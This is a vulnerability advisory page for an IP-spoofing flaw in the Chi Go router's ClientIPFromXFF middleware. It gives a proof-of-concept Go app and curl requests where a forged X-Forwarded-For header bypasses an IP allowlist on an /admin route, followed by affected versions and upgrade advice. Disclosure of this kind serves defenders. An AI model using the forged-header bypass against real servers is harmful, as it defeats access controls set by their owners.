CVE-2026-114437: Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For

Published Oct 21, 2026
·
Updated

Summary

ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).

Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.

1. Send GET /admin directly to the origin with no X-Forwarded-For header. 2. Observe a 403 Forbidden response and an empty derived client IP. 3. Repeat the request with X-Forwarded-For: 10.0.0.7, 198.51.100.42. 4. Observe 200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.

Details

The vulnerable code is ClientIPFromXFF in middleware/clientip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:

go walkXFF(r.Header[xForwardedForHeader], func(v string) bool { ip, ok := parseHeaderAddr(v) if !ok { return true } if inAnyPrefix(ip, prefixes) { return false } found = ip return true })

The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.

Proof of concept

Using Go 1.24 or later, create and run this minimal application against the tested revision:

sh mkdir chi-clientip-poc cd chi-clientip-poc go mod init clientip-poc go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1 cat > main.go <<'EOF' package main

import ( "fmt" "log" "net/http"

"github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" )

const allowedIP = "10.0.0.7"

func main() { r := chi.NewRouter() r.Use(middleware.ClientIPFromXFF("198.51.100.0/24")) r.Get("/admin", func(w http.ResponseWriter, r http.Request) { clientIP := middleware.GetClientIP(r.Context()) if clientIP != allowedIP { http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden) return } fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP) })

log.Print("listening on http://127.0.0.1:3001") log.Fatal(http.ListenAndServe("127.0.0.1:3001", r)) } EOF go run .

The no-header control was rejected:

console $ curl --http1.1 -i http://127.0.0.1:3001/admin HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Tue, 06 Oct 2026 15:46:27 GMT Content-Length: 48

denied: tcp-peer="127.0.0.1:54416" client-ip=""

Adding the forged chain authorized the same direct client:

console $ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin HTTP/1.1 200 OK Date: Tue, 06 Oct 2026 15:46:33 GMT Content-Length: 57 Content-Type: text/plain; charset=utf-8

allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"

Impact

I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.

Other sources

In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.

This issue affects chi before 5.4.0.

— MITRE

Affected Software

6 affected componentsFixes available
Chi Chi<5.4.0
go/github.com/go-chi/chi/v5<=5.3.2
5.4.0
ubuntu/golang-github-go-chi-chi*
ubuntu/golang-github-go-chi-chi*
ubuntu/golang-github-go-chi-chi*
ubuntu/golang-github-go-chi-chi*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/go-chi/chi/v5 to a version that resolves this vulnerability.

    Fixed in 5.4.0
  2. Upgrade

    Upgrade github.com/go-chi/chi/v5 to a version that resolves this vulnerability.

    Fixed in 5.4.0

Event History

Oct 21, 2026
CVE Published
via MITRE·01:52 PM
Data Sourced
via MITRE·01:52 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:17 PM
DescriptionSeverityWeakness
Oct 23, 2026
Advisory Published
via GitHub·08:56 PM
Data Sourced
via GitHub·08:56 PM
DescriptionSeverityWeaknessAffected Software
Oct 28, 2026
Data Sourced
via OSV·08:17 PM
Affected Software

Frequently Asked Questions

1

Who is realistically exposed to this issue?

Applications using affected Chi versions before 5.4.0 that enable ClientIPFromXFF are exposed if clients can connect directly to the Go server. The issue is relevant where middleware.GetClientIP is relied on for decisions based on the apparent client address.

2

What does an attacker need to exploit it?

An attacker needs network access to reach the Go server directly and must be able to send an X-Forwarded-For header. No authentication or user interaction is required, but exploitation depends on a configured trusted CIDR and the ability to include an address that appears to be within it.

3

Are deployments behind a trusted proxy affected by default?

The described weakness is specifically that the middleware does not verify whether the direct TCP peer in http.Request.RemoteAddr is in the configured trusted CIDR. A deployment that prevents direct client access to the Go server removes the direct-access condition described for exploitation.

4

How can I determine whether my application is affected?

Check whether it uses Chi before 5.4.0 and enables ClientIPFromXFF with trusted CIDRs. Then determine whether an untrusted client can connect directly to the Go server rather than only through the intended proxy.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203